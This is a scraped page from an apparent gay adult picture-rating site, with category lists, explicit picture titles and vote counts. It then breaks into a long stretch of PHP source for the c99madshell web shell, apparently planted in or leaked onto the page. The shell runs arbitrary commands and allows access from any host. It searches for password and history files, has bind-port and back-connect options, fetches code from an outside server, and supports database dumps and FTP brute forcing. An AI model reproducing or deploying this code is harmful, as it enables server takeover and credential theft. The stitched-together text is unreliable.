Registered Users Login   |  Forgot Password  | Signup
Rate Guys Categories Live Guys Watch Movies Upload Pics
Sort By
Newest
Most Viewed
Most Voted
Previous Top Rated
Current Top Rated
Categories
Anal
Asian
Bareback
Bears
Black
Blowjobs
Bondage
Butts
Cocks
European
Fetish
Frat Guys
Group Sex
Interracial
Jocks
Latino
Muscles
Straight
Underwear
Uniforms
Young Guys

Gay Sex Links
 Amateur
 Armpits
 Asian
 Autofellatio
 Bareback
 Bears
 Big Penis / Cock
 Black
 Blowjobs
 Bondage
 Cum Shots
 European
 Fetish
 Foot Fetish
 Frat Men
 Gang Bang
 Hentai / Cartoons
 Interracial
 Japanese
 Jocks / Athletes
 Latino
 Leather
 Masturbation
 Mature
 Military
 Muscles
 Piss
 Spanking
 She Males
 Straight Guys
 Thai Guys
 Thugs
 Twinks
 Uncut Cocks
 Underwear
 Uniforms
 Vintage / Classic
 Wrestling

Featured Pictures
Jack Griffin
Jack Griffin
Average Vote:   6
Number of Votes:  61
Hot athletic studs strip down and have gay sex on
Hot athletic studs s...
Average Vote:   4
Number of Votes:  18
Muscular white stud
Muscular white stud
Average Vote:   5
Number of Votes:  31
Hard Straight Guy Gets Naked At Office
Hard Straight Guy Ge...
Average Vote:   4
Number of Votes:  20
Young Uncut Cock
Young Uncut Cock
Average Vote:   5
Number of Votes:  133
Muscular young stud shows hot body and jerks off
Muscular young stud ...
Average Vote:   5
Number of Votes:  42
 
Recently Added Pictures Total 942 Pictures
fuck
fuck
Average Vote:  
Number of Votes:  
vcvxcxcc
vcvxcxcc
Average Vote:  
Number of Votes:  
thesun
thesun
Average Vote:  
Number of Votes:  
aaa
aaa
Average Vote:  
Number of Votes:  
1
1
Average Vote:  
Number of Votes:  
3333
3333
Average Vote:  
Number of Votes:  
lovely cock
lovely cock
Average Vote:   6
Number of Votes:  4
SHAVED COCKRING
SHAVED COCKRING
Average Vote:  
Number of Votes:  
Jhett is kinky
Jhett is kinky
Average Vote:   5
Number of Votes:  14
18yo Bitch Boi
18yo Bitch Boi
Average Vote:   5
Number of Votes:  18
18yo into metal
18yo into metal
Average Vote:   5
Number of Votes:  7
18yo Decklan
18yo Decklan
Average Vote:   5
Number of Votes:  16
18yo Blaize
18yo Blaize
Average Vote:   5
Number of Votes:  11
Twink butt rules
Twink butt rules
Average Vote:   4
Number of Votes:  10
Me loving Thomas`s Butt
Me loving Thomas`s B...
Average Vote:   5
Number of Votes:  11
18yo Thomas
18yo Thomas
Average Vote:   5
Number of Votes:  11
Trent is a 20yo Afrikaaner
Trent is a 20yo Afri...
Average Vote:   5
Number of Votes:  13
Bear loves twink butts
Bear loves twink but...
Average Vote:   6
Number of Votes:  8
Bear loves Twinks
Bear loves Twinks
Average Vote:   5
Number of Votes:  8
Mates enjoying each other !
Mates enjoying each ...
Average Vote:   6
Number of Votes:  29
Young, Horny & waiting !
Young, Horny & waiti...
Average Vote:   4
Number of Votes:  10
Speedo Guy Wants some fun !
Speedo Guy Wants som...
Average Vote:   5
Number of Votes:  16
Cute, Horny & I want you !
Cute, Horny & I want...
Average Vote:   5
Number of Votes:  13
Wanna suck it ?
Wanna suck it ?
Average Vote:   4
Number of Votes:  3
Listing 1-24 of 942
Pages 1 2 3 4 5 6 7 8 9 10  >> of 40 « Previous | Next »

$v ) { if (strtoupper ( $k ) != "GLOBALS") { strips ( $arr ["$k"] ); } } } else { $arr = stripslashes ( $arr ); } } } strips ( $GLOBALS ); } $_REQUEST = array_merge ( $_COOKIE, $_POST ); foreach ( $_REQUEST as $k => $v ) { if (! isset ( $$k )) { $$k = $v; } } $shver = "2.0 madnet edition"; if (empty ( $surl )) { $surl = $_SERVER ['PHP_SELF']; } $surl = htmlspecialchars ( $surl ); $timelimit = 0; $host_allow = array ("*" ); $login_txt = "Admin area"; $accessdeniedmess = "c99madshell v." . $shver . ": access denied"; $gzipencode = TRUE; $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server $filestealth = TRUE; $donated_html = "
Owned by root
"; $donated_act = array ("" ); $curdir = "./"; $tmpdir = ""; $tmpdir_log = "./"; $log_email = "user@host.gov"; $sort_default = "0a"; $sort_save = TRUE; $ftypes = array ("html" => array ("html", "htm", "shtml" ), "txt" => array ("txt", "conf", "bat", "sh", "js", "bak", "doc", "log", "sfc", "cfg", "htaccess" ), "exe" => array ("sh", "install", "bat", "cmd" ), "ini" => array ("ini", "inf" ), "code" => array ("php", "phtml", "php3", "php4", "inc", "tcl", "h", "c", "cpp", "py", "cgi", "pl" ), "img" => array ("gif", "png", "jpeg", "jfif", "jpg", "jpe", "bmp", "ico", "tif", "tiff", "avi", "mpg", "mpeg" ), "sdb" => array ("sdb" ), "phpsess" => array ("sess" ), "download" => array ("exe", "com", "pif", "src", "lnk", "zip", "rar", "gz", "tar" ) ); $exeftypes = array (getenv ( "PHPRC" ) . " -q %f%" => array ("php", "php3", "php4" ), "perl %f%" => array ("pl", "cgi" ) ); $regxp_highlight = array (array (basename ( $_SERVER ["PHP_SELF"] ), 1, "", "" ), array ("config.php", 1 ) );// example $safemode_diskettes = array ("a" ); $hexdump_lines = 8; $hexdump_rows = 24; $nixpwdperpage = 100; $bindport_pass = "c99mad"; $bindport_port = "31373"; $bc_port = "31373"; $datapipe_localport = "8081"; if (! $win) { $cmdaliases = array (array ("-----------------------------------------------------------", "ls -la" ), array ("find all suid files", "find / -type f -perm -04000 -ls" ), array ("find suid files in current dir", "find . -type f -perm -04000 -ls" ), array ("find all sgid files", "find / -type f -perm -02000 -ls" ), array ("find sgid files in current dir", "find . -type f -perm -02000 -ls" ), array ("find config.inc.php files", "find / -type f -name config.inc.php" ), array ("find config* files", "find / -type f -name \"config*\"" ), array ("find config* files in current dir", "find . -type f -name \"config*\"" ), array ("find all writable folders and files", "find / -perm -2 -ls" ), array ("find all writable folders and files in current dir", "find . -perm -2 -ls" ), array ("find all service.pwd files", "find / -type f -name service.pwd" ), array ("find service.pwd files in current dir", "find . -type f -name service.pwd" ), array ("find all .htpasswd files", "find / -type f -name .htpasswd" ), array ("find .htpasswd files in current dir", "find . -type f -name .htpasswd" ), array ("find all .bash_history files", "find / -type f -name .bash_history" ), array ("find .bash_history files in current dir", "find . -type f -name .bash_history" ), array ("find all .fetchmailrc files", "find / -type f -name .fetchmailrc" ), array ("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc" ), array ("list file attributes on a Linux second extended file system", "lsattr -va" ), array ("show opened ports", "netstat -an | grep -i listen" ) ); } else { $cmdaliases = array (array ("-----------------------------------------------------------", "dir" ), array ("show opened ports", "netstat -an" ) ); } $sess_cookie = "c99shvars"; $usefsbuff = TRUE; $copy_unset = FALSE; $quicklaunch = array (array ("
HOME
", $surl ), array ("<=", "#\" onclick=\"history.back(1)" ), array ("=>", "#\" onclick=\"history.go(1)" ), array ("UPDIR", "#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='%upd';document.todo.sort.value='%sort';document.todo.submit();" ), array ("Search", "#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();" ), array ("Buffer", "#\" onclick=\"document.todo.act.value='fsbuff';document.todo.d.value='%d';document.todo.submit();" ), array ("Tools", "#\" onclick=\"document.todo.act.value='tools';document.todo.d.value='%d';document.todo.submit();" ), array ("Proc.", "#\" onclick=\"document.todo.act.value='processes';document.todo.d.value='%d';document.todo.submit();" ), array ("FTP brute", "#\" onclick=\"document.todo.act.value='ftpquickbrute';document.todo.d.value='%d';document.todo.submit();" ), array ("Sec.", "#\" onclick=\"document.todo.act.value='security';document.todo.d.value='%d';document.todo.submit();" ), array ("SQL", "#\" onclick=\"document.todo.act.value='sql';document.todo.d.value='%d';document.todo.submit();" ), array ("PHP-code", "#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();" ), array ("Self remove", "#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();" ), array ("Logout", "#\" onclick=\"if (confirm('Are you sure?')) window.close()" ) ); $highlight_background = "#c0c0c0"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST ["f"]; @extract ( $_REQUEST ["c99shcook"] ); ///////////////////////////////////// @set_time_limit ( 0 ); $tmp = array (); foreach ( $host_allow as $k => $v ) { $tmp [] = str_replace ( "\\*", ".*", preg_quote ( $v ) ); } $s = "!^(" . implode ( "|", $tmp ) . ")$!i"; if (! preg_match ( $s, getenv ( "REMOTE_ADDR" ) ) and ! preg_match ( $s, gethostbyaddr ( getenv ( "REMOTE_ADDR" ) ) )) { exit ( "c99madshell: Access Denied - your host (" . getenv ( "REMOTE_ADDR" ) . ") not allow" ); } if (! empty ( $login )) { if (empty ( $md5_pass )) { $md5_pass = md5 ( $pass ); } if (($_SERVER ["PHP_AUTH_USER"] != $login) or (md5 ( $_SERVER ["PHP_AUTH_PW"] ) != $md5_pass)) { if (empty ( $login_txt )) { $login_txt = strip_tags ( ereg_replace ( " |
", " ", $donated_html ) ); } header ( "WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"" ); header ( "HTTP/1.0 401 Unauthorized" ); exit ( $accessdeniedmess ); } } if (isset ( $_POST ['act'] )) $act = $_POST ['act']; if (isset ( $_POST ['d'] )) $d = urldecode ( $_POST ['d'] ); if (isset ( $_POST ['sort'] )) $sort = $_POST ['sort']; if (isset ( $_POST ['f'] )) $f = $_POST ['f']; if (isset ( $_POST ['ft'] )) $ft = $_POST ['ft']; if (isset ( $_POST ['grep'] )) $grep = $_POST ['grep']; if (isset ( $_POST ['processes_sort'] )) $processes_sort = $_POST ['processes_sort']; if (isset ( $_POST ['pid'] )) $pid = $_POST ['pid']; if (isset ( $_POST ['sig'] )) $sig = $_POST ['sig']; if (isset ( $_POST ['base64'] )) $base64 = $_POST ['base64']; if (isset ( $_POST ['fullhexdump'] )) $fullhexdump = $_POST ['fullhexdump']; if (isset ( $_POST ['c'] )) $c = $_POST ['c']; if (isset ( $_POST ['white'] )) $white = $_POST ['white']; if (isset ( $_POST ['nixpasswd'] )) $nixpasswd = $_POST ['nixpasswd']; $lastdir = realpath ( "." ); chdir ( $curdir ); $sess_data = unserialize ( $_COOKIE ["$sess_cookie"] ); if (! is_array ( $sess_data )) { $sess_data = array (); } if (! is_array ( $sess_data ["copy"] )) { $sess_data ["copy"] = array (); } if (! is_array ( $sess_data ["cut"] )) { $sess_data ["cut"] = array (); } $disablefunc = @ini_get ( "disable_functions" ); if (! empty ( $disablefunc )) { $disablefunc = str_replace ( " ", "", $disablefunc ); $disablefunc = explode ( ",", $disablefunc ); } if (! function_exists ( "c99_buff_prepare" )) { function c99_buff_prepare() { global $sess_data; global $act; foreach ( $sess_data ["copy"] as $k => $v ) { $sess_data ["copy"] [$k] = str_replace ( "\\", DIRECTORY_SEPARATOR, realpath ( $v ) ); } foreach ( $sess_data ["cut"] as $k => $v ) { $sess_data ["cut"] [$k] = str_replace ( "\\", DIRECTORY_SEPARATOR, realpath ( $v ) ); } $sess_data ["copy"] = array_unique ( $sess_data ["copy"] ); $sess_data ["cut"] = array_unique ( $sess_data ["cut"] ); sort ( $sess_data ["copy"] ); sort ( $sess_data ["cut"] ); if ($act != "copy") { foreach ( $sess_data ["cut"] as $k => $v ) { if ($sess_data ["copy"] [$k] == $v) { unset ( $sess_data ["copy"] [$k] ); } } } else { foreach ( $sess_data ["copy"] as $k => $v ) { if ($sess_data ["cut"] [$k] == $v) { unset ( $sess_data ["cut"] [$k] ); } } } } } c99_buff_prepare (); if (! function_exists ( "c99_sess_put" )) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare (); $sess_data = $data; $data = serialize ( $data ); setcookie ( $sess_cookie, $data ); } } foreach ( array ("sort", "sql_sort" ) as $v ) { if (! empty ( $_POST [$v] )) { $$v = $_POST [$v]; } } if ($sort_save) { if (! empty ( $sort )) { setcookie ( "sort", $sort ); } if (! empty ( $sql_sort )) { setcookie ( "sql_sort", $sql_sort ); } } if (! function_exists ( "str2mini" )) { function str2mini($content, $len) { if (strlen ( $content ) > $len) { $len = ceil ( $len / 2 ) - 2; return substr ( $content, 0, $len ) . "..." . substr ( $content, - $len ); } else { return $content; } } } if (! function_exists ( "view_size" )) { function view_size($size) { if (! is_numeric ( $size )) { return FALSE; } else { if ($size >= 1073741824) { $size = round ( $size / 1073741824 * 100 ) / 100 . " GB"; } elseif ($size >= 1048576) { $size = round ( $size / 1048576 * 100 ) / 100 . " MB"; } elseif ($size >= 1024) { $size = round ( $size / 1024 * 100 ) / 100 . " KB"; } else { $size = $size . " B"; } return $size; } } } if (! function_exists ( "fs_copy_dir" )) { function fs_copy_dir($d, $t) { $d = str_replace ( "\\", DIRECTORY_SEPARATOR, $d ); if (substr ( $d, - 1 ) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; } $h = opendir ( $d ); while ( ($o = readdir ( $h )) !== FALSE ) { if (($o != ".") and ($o != "..")) { if (! is_dir ( $d . DIRECTORY_SEPARATOR . $o )) { $ret = copy ( $d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o ); } else { $ret = mkdir ( $t . DIRECTORY_SEPARATOR . $o ); fs_copy_dir ( $d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o ); } if (! $ret) { return $ret; } } } closedir ( $h ); return TRUE; } } if (! function_exists ( "fs_copy_obj" )) { function fs_copy_obj($d, $t) { $d = str_replace ( "\\", DIRECTORY_SEPARATOR, $d ); $t = str_replace ( "\\", DIRECTORY_SEPARATOR, $t ); if (! is_dir ( dirname ( $t ) )) { mkdir ( dirname ( $t ) ); } if (is_dir ( $d )) { if (substr ( $d, - 1 ) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; } if (substr ( $t, - 1 ) != DIRECTORY_SEPARATOR) { $t .= DIRECTORY_SEPARATOR; } return fs_copy_dir ( $d, $t ); } elseif (is_file ( $d )) { return copy ( $d, $t ); } else { return FALSE; } } } if (! function_exists ( "fs_move_dir" )) { function fs_move_dir($d, $t) { $h = opendir ( $d ); if (! is_dir ( $t )) { mkdir ( $t ); } while ( ($o = readdir ( $h )) !== FALSE ) { if (($o != ".") and ($o != "..")) { $ret = TRUE; if (! is_dir ( $d . DIRECTORY_SEPARATOR . $o )) { $ret = copy ( $d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o ); } else { if (mkdir ( $t . DIRECTORY_SEPARATOR . $o ) and fs_copy_dir ( $d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o )) { $ret = FALSE; } } if (! $ret) { return $ret; } } } closedir ( $h ); return TRUE; } } if (! function_exists ( "fs_move_obj" )) { function fs_move_obj($d, $t) { $d = str_replace ( "\\", DIRECTORY_SEPARATOR, $d ); $t = str_replace ( "\\", DIRECTORY_SEPARATOR, $t ); if (is_dir ( $d )) { if (substr ( $d, - 1 ) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; } if (substr ( $t, - 1 ) != DIRECTORY_SEPARATOR) { $t .= DIRECTORY_SEPARATOR; } return fs_move_dir ( $d, $t ); } elseif (is_file ( $d )) { if (copy ( $d, $t )) { return unlink ( $d ); } else { unlink ( $t ); return FALSE; } } else { return FALSE; } } } if (! function_exists ( "fs_rmdir" )) { function fs_rmdir($d) { $h = opendir ( $d ); while ( ($o = readdir ( $h )) !== FALSE ) { if (($o != ".") and ($o != "..")) { if (! is_dir ( $d . $o )) { unlink ( $d . $o ); } else { fs_rmdir ( $d . $o . DIRECTORY_SEPARATOR ); rmdir ( $d . $o ); } } } closedir ( $h ); rmdir ( $d ); return ! is_dir ( $d ); } } if (! function_exists ( "fs_rmobj" )) { function fs_rmobj($o) { $o = str_replace ( "\\", DIRECTORY_SEPARATOR, $o ); if (is_dir ( $o )) { if (substr ( $o, - 1 ) != DIRECTORY_SEPARATOR) { $o .= DIRECTORY_SEPARATOR; } return fs_rmdir ( $o ); } elseif (is_file ( $o )) { return unlink ( $o ); } else { return FALSE; } } } if (! function_exists ( "myshellexec" )) { function myshellexec($cmd) { global $disablefunc; $result = ""; if (! empty ( $cmd )) { if (is_callable ( "exec" ) and ! in_array ( "exec", $disablefunc )) { exec ( $cmd, $result ); $result = join ( "\n", $result ); } elseif (($result = `$cmd`) !== FALSE) { } elseif (is_callable ( "system" ) and ! in_array ( "system", $disablefunc )) { $v = @ob_get_contents (); @ob_clean (); system ( $cmd ); $result = @ob_get_contents (); @ob_clean (); echo $v; } elseif (is_callable ( "passthru" ) and ! in_array ( "passthru", $disablefunc )) { $v = @ob_get_contents (); @ob_clean (); passthru ( $cmd ); $result = @ob_get_contents (); @ob_clean (); echo $v; } elseif (is_resource ( $fp = popen ( $cmd, "r" ) )) { $result = ""; while ( ! feof ( $fp ) ) { $result .= fread ( $fp, 1024 ); } pclose ( $fp ); } } return $result; } } if (! function_exists ( "tabsort" )) { function tabsort($a, $b) { global $v; return strnatcmp ( $a [$v], $b [$v] ); } } if (! function_exists ( "view_perms" )) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) { $type = "s"; } elseif (($mode & 0x4000) === 0x4000) { $type = "d"; } elseif (($mode & 0xA000) === 0xA000) { $type = "l"; } elseif (($mode & 0x8000) === 0x8000) { $type = "-"; } elseif (($mode & 0x6000) === 0x6000) { $type = "b"; } elseif (($mode & 0x2000) === 0x2000) { $type = "c"; } elseif (($mode & 0x1000) === 0x1000) { $type = "p"; } else { $type = "?"; } $owner ["read"] = ($mode & 00400) ? "r" : "-"; $owner ["write"] = ($mode & 00200) ? "w" : "-"; $owner ["execute"] = ($mode & 00100) ? "x" : "-"; $group ["read"] = ($mode & 00040) ? "r" : "-"; $group ["write"] = ($mode & 00020) ? "w" : "-"; $group ["execute"] = ($mode & 00010) ? "x" : "-"; $world ["read"] = ($mode & 00004) ? "r" : "-"; $world ["write"] = ($mode & 00002) ? "w" : "-"; $world ["execute"] = ($mode & 00001) ? "x" : "-"; if ($mode & 0x800) { $owner ["execute"] = ($owner ["execute"] == "x") ? "s" : "S"; } if ($mode & 0x400) { $group ["execute"] = ($group ["execute"] == "x") ? "s" : "S"; } if ($mode & 0x200) { $world ["execute"] = ($world ["execute"] == "x") ? "t" : "T"; } return $type . join ( "", $owner ) . join ( "", $group ) . join ( "", $world ); } } if (! function_exists ( "posix_getpwuid" ) and ! in_array ( "posix_getpwuid", $disablefunc )) { function posix_getpwuid($uid) { return FALSE; } } if (! function_exists ( "posix_getgrgid" ) and ! in_array ( "posix_getgrgid", $disablefunc )) { function posix_getgrgid($gid) { return FALSE; } } if (! function_exists ( "posix_kill" ) and ! in_array ( "posix_kill", $disablefunc )) { function posix_kill($gid) { return FALSE; } } if (! function_exists ( "parse_perms" )) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) { $t = "s"; } elseif (($mode & 0x4000) === 0x4000) { $t = "d"; } elseif (($mode & 0xA000) === 0xA000) { $t = "l"; } elseif (($mode & 0x8000) === 0x8000) { $t = "-"; } elseif (($mode & 0x6000) === 0x6000) { $t = "b"; } elseif (($mode & 0x2000) === 0x2000) { $t = "c"; } elseif (($mode & 0x1000) === 0x1000) { $t = "p"; } else { $t = "?"; } $o ["r"] = ($mode & 00400) > 0; $o ["w"] = ($mode & 00200) > 0; $o ["x"] = ($mode & 00100) > 0; $g ["r"] = ($mode & 00040) > 0; $g ["w"] = ($mode & 00020) > 0; $g ["x"] = ($mode & 00010) > 0; $w ["r"] = ($mode & 00004) > 0; $w ["w"] = ($mode & 00002) > 0; $w ["x"] = ($mode & 00001) > 0; return array ("t" => $t, "o" => $o, "g" => $g, "w" => $w ); } } if (! function_exists ( "parsesort" )) { function parsesort($sort) { $one = intval ( $sort ); $second = substr ( $sort, - 1 ); if ($second != "d") { $second = "a"; } return array ($one, $second ); } } if (! function_exists ( "view_perms_color" )) { function view_perms_color($o) { if (! is_readable ( $o )) { return "" . view_perms ( fileperms ( $o ) ) . ""; } elseif (! is_writable ( $o )) { return "" . view_perms ( fileperms ( $o ) ) . ""; } else { return "" . view_perms ( fileperms ( $o ) ) . ""; } } } if (! function_exists ( "c99getsource" )) { function c99getsource($fn) { global $c99sh_sourcesurl; $array = array ("c99sh_bindport.pl" => "c99sh_bindport_pl.txt", "c99sh_bindport.c" => "c99sh_bindport_c.txt", "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", "c99sh_backconn.c" => "c99sh_backconn_c.txt", "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", "c99sh_datapipe.c" => "c99sh_datapipe_c.txt" ); $name = $array [$fn]; if ($name) { return file_get_contents ( $c99sh_sourcesurl . $name ); } else { return FALSE; } } } if (! function_exists ( "mysql_dump" )) { function mysql_dump($set) { global $shver; $sock = $set ["sock"]; $db = $set ["db"]; $print = $set ["print"]; $nl2br = $set ["nl2br"]; $file = $set ["file"]; $add_drop = $set ["add_drop"]; $tabs = $set ["tabs"]; $onlytabs = $set ["onlytabs"]; $ret = array (); $ret ["err"] = array (); if (! is_resource ( $sock )) { echo ("Error: \$sock is not valid resource."); } if (empty ( $db )) { $db = "db"; } if (empty ( $print )) { $print = 0; } if (empty ( $nl2br )) { $nl2br = 0; } if (empty ( $add_drop )) { $add_drop = TRUE; } if (empty ( $file )) { $file = $tmpdir . "dump_" . getenv ( "SERVER_NAME" ) . "_" . $db . "_" . date ( "d-m-Y-H-i-s" ) . ".sql"; } if (! is_array ( $tabs )) { $tabs = array (); } if (empty ( $add_drop )) { $add_drop = TRUE; } if (sizeof ( $tabs ) == 0) { // retrive tables-list $res = mysql_query ( "SHOW TABLES FROM " . $db, $sock ); if (mysql_num_rows ( $res ) > 0) { while ( $row = mysql_fetch_row ( $res ) ) { $tabs [] = $row [0]; } } } $out = "# Dumped by C99madShell.SQL v. " . $shver . " # Home page: http://securityprobe.net # # Host settings: # MySQL version: (" . mysql_get_server_info () . ") running on " . getenv ( "SERVER_ADDR" ) . " (" . getenv ( "SERVER_NAME" ) . ")" . " # Date: " . date ( "d.m.Y H:i:s" ) . " # DB: \"" . $db . "\" #--------------------------------------------------------- "; $c = count ( $onlytabs ); foreach ( $tabs as $tab ) { if ((in_array ( $tab, $onlytabs )) or (! $c)) { if ($add_drop) { $out .= "DROP TABLE IF EXISTS `" . $tab . "`;\n"; } // recieve query for create table structure $res = mysql_query ( "SHOW CREATE TABLE `" . $tab . "`", $sock ); if (! $res) { $ret ["err"] [] = mysql_smarterror (); } else { $row = mysql_fetch_row ( $res ); $out .= $row ["1"] . ";\n\n"; // recieve table variables $res = mysql_query ( "SELECT * FROM `$tab`", $sock ); if (mysql_num_rows ( $res ) > 0) { while ( $row = mysql_fetch_assoc ( $res ) ) { $keys = implode ( "`, `", array_keys ( $row ) ); $values = array_values ( $row ); foreach ( $values as $k => $v ) { $values [$k] = addslashes ( $v ); } $values = implode ( "', '", $values ); $sql = "INSERT INTO `$tab`(`" . $keys . "`) VALUES ('" . $values . "');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen ( $file, "w" ); if (! $fp) { $ret ["err"] [] = 2; } else { fwrite ( $fp, $out ); fclose ( $fp ); } } if ($print) { if ($nl2br) { echo nl2br ( $out ); } else { echo $out; } } return $out; } } if (! function_exists ( "mysql_buildwhere" )) { function mysql_buildwhere($array, $sep = " and", $functs = array()) { if (! is_array ( $array )) { $array = array (); } $result = ""; foreach ( $array as $k => $v ) { $value = ""; if (! empty ( $functs [$k] )) { $value .= $functs [$k] . "("; } $value .= "'" . addslashes ( $v ) . "'"; if (! empty ( $functs [$k] )) { $value .= ")"; } $result .= "`" . $k . "` = " . $value . $sep; } $result = substr ( $result, 0, strlen ( $result ) - strlen ( $sep ) ); return $result; } } if (! function_exists ( "mysql_fetch_all" )) { function mysql_fetch_all($query, $sock) { if ($sock) { $result = mysql_query ( $query, $sock ); } else { $result = mysql_query ( $query ); } $array = array (); while ( $row = mysql_fetch_array ( $result ) ) { $array [] = $row; } mysql_free_result ( $result ); return $array; } } if (! function_exists ( "mysql_smarterror" )) { function mysql_smarterror($type, $sock) { if ($sock) { $error = mysql_error ( $sock ); } else { $error = mysql_error (); } $error = htmlspecialchars ( $error ); return $error; } } if (! function_exists ( "mysql_query_form" )) { function mysql_query_form() { global $submit, $sql_act, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct; $sql_query = urldecode ( $sql_query ); if (($submit) and (! $sql_query_result) and ($sql_confirm)) { if (! $sql_query_error) { $sql_query_error = "Query was empty"; } echo "Error:
" . $sql_query_error . "
"; } if ($sql_query_result or (! $sql_confirm)) { $sql_act = $sql_goto; } if ((! $submit) or ($sql_act)) { echo ""; if ($tbl_struct) { echo "
"; if (($sql_query) and (! $submit)) { echo "Do you really want to"; } else { echo "SQL-Query"; } echo ":



 
Fields:
"; foreach ( $tbl_struct as $field ) { $name = $field ["Field"]; echo "ยป " . $name . "
"; } echo "
"; } } if ($sql_query_result or (! $sql_confirm)) { $sql_query = $sql_last_query; } } } if (! function_exists ( "mysql_create_db" )) { function mysql_create_db($db, $sock = "") { $sql = "CREATE DATABASE `" . addslashes ( $db ) . "`;"; if ($sock) { return mysql_query ( $sql, $sock ); } else { return mysql_query ( $sql ); } } } if (! function_exists ( "mysql_query_parse" )) { function mysql_query_parse($query) { $query = trim ( $query ); $arr = explode ( " ", $query ); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array ("SELECT" => array (3, 1 ), "SHOW" => array (2, 1 ), "DELETE" => array (1 ), "DROP" => array (1 ) ); $result = array (); $op = strtoupper ( $arr [0] ); if (is_array ( $types [$op] )) { $result ["propertions"] = $types [$op]; $result ["query"] = $query; if ($types [$op] == 2) { foreach ( $arr as $k => $v ) { if (strtoupper ( $v ) == "LIMIT") { $result ["limit"] = $arr [$k + 1]; $result ["limit"] = explode ( ",", $result ["limit"] ); if (count ( $result ["limit"] ) == 1) { $result ["limit"] = array (0, $result ["limit"] [0] ); } unset ( $arr [$k], $arr [$k + 1] ); } } } } else { return FALSE; } } } if (! function_exists ( "c99fsearch" )) { function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr ( $d, - 1 ) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; } $h = opendir ( $d ); while ( ($f = readdir ( $h )) !== FALSE ) { if ($f != "." && $f != "..") { $bool = (empty ( $a ["name_regexp"] ) and strpos ( $f, $a ["name"] ) !== FALSE) || ($a ["name_regexp"] and ereg ( $a ["name"], $f )); if (is_dir ( $d . $f )) { $search_i_d ++; if (empty ( $a ["text"] ) and $bool) { $found [] = $d . $f; $found_d ++; } if (! is_link ( $d . $f )) { c99fsearch ( $d . $f ); } } else { $search_i_f ++; if ($bool) { if (! empty ( $a ["text"] )) { $r = @file_get_contents ( $d . $f ); if ($a ["text_wwo"]) { $a ["text"] = " " . trim ( $a ["text"] ) . " "; } if (! $a ["text_cs"]) { $a ["text"] = strtolower ( $a ["text"] ); $r = strtolower ( $r ); } if ($a ["text_regexp"]) { $bool = ereg ( $a ["text"], $r ); } else { $bool = strpos ( " " . $r, $a ["text"], 1 ); } if ($a ["text_not"]) { $bool = ! $bool; } if ($bool) { $found [] = $d . $f; $found_f ++; } } else { $found [] = $d . $f; $found_f ++; } } } } } closedir ( $h ); } } if ($act == "gofile") { if (is_dir ( $f )) { $act = "ls"; $d = $f; } else { $act = "f"; $d = dirname ( $f ); $f = basename ( $f ); } } //Sending headers @ob_start (); @ob_implicit_flush ( 0 ); function onphpshutdown() { global $gzipencode, $ft; if (! headers_sent () and $gzipencode and ! in_array ( $ft, array ("img", "download", "notepad" ) )) { $v = @ob_get_contents (); @ob_end_clean (); @ob_start ( "ob_gzHandler" ); echo $v; @ob_end_flush (); } } function c99shexit() { onphpshutdown (); exit (); } header ( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header ( "Last-Modified: " . gmdate ( "D, d M Y H:i:s" ) . " GMT" ); header ( "Cache-Control: no-store, no-cache, must-revalidate" ); header ( "Cache-Control: post-check=0, pre-check=0", FALSE ); header ( "Pragma: no-cache" ); if (empty ( $tmpdir )) { $tmpdir = ini_get ( "upload_tmp_dir" ); if (is_dir ( $tmpdir )) { $tmpdir = "/tmp/"; } } $tmpdir = realpath ( $tmpdir ); $tmpdir = str_replace ( "\\", DIRECTORY_SEPARATOR, $tmpdir ); if (substr ( $tmpdir, - 1 ) != DIRECTORY_SEPARATOR) { $tmpdir .= DIRECTORY_SEPARATOR; } if (empty ( $tmpdir_logs )) { $tmpdir_logs = $tmpdir; } else { $tmpdir_logs = realpath ( $tmpdir_logs ); } if (@ini_get ( "safe_mode" ) or strtolower ( @ini_get ( "safe_mode" ) ) == "on") { $safemode = TRUE; $hsafemode = "ON (secure)"; } else { $safemode = FALSE; $hsafemode = "OFF (not secure)"; } $v = @ini_get ( "open_basedir" ); if ($v or strtolower ( $v ) == "on") { $openbasedir = TRUE; $hopenbasedir = "" . $v . ""; } else { $openbasedir = FALSE; $hopenbasedir = "OFF (not secure)"; } $sort = htmlspecialchars ( $sort ); if (empty ( $sort )) { $sort = $sort_default; } $sort [1] = strtolower ( $sort [1] ); $DISP_SERVER_SOFTWARE = getenv ( "SERVER_SOFTWARE" ); if (! ereg ( "PHP/" . phpversion (), $DISP_SERVER_SOFTWARE )) { $DISP_SERVER_SOFTWARE .= ". PHP/" . phpversion (); } 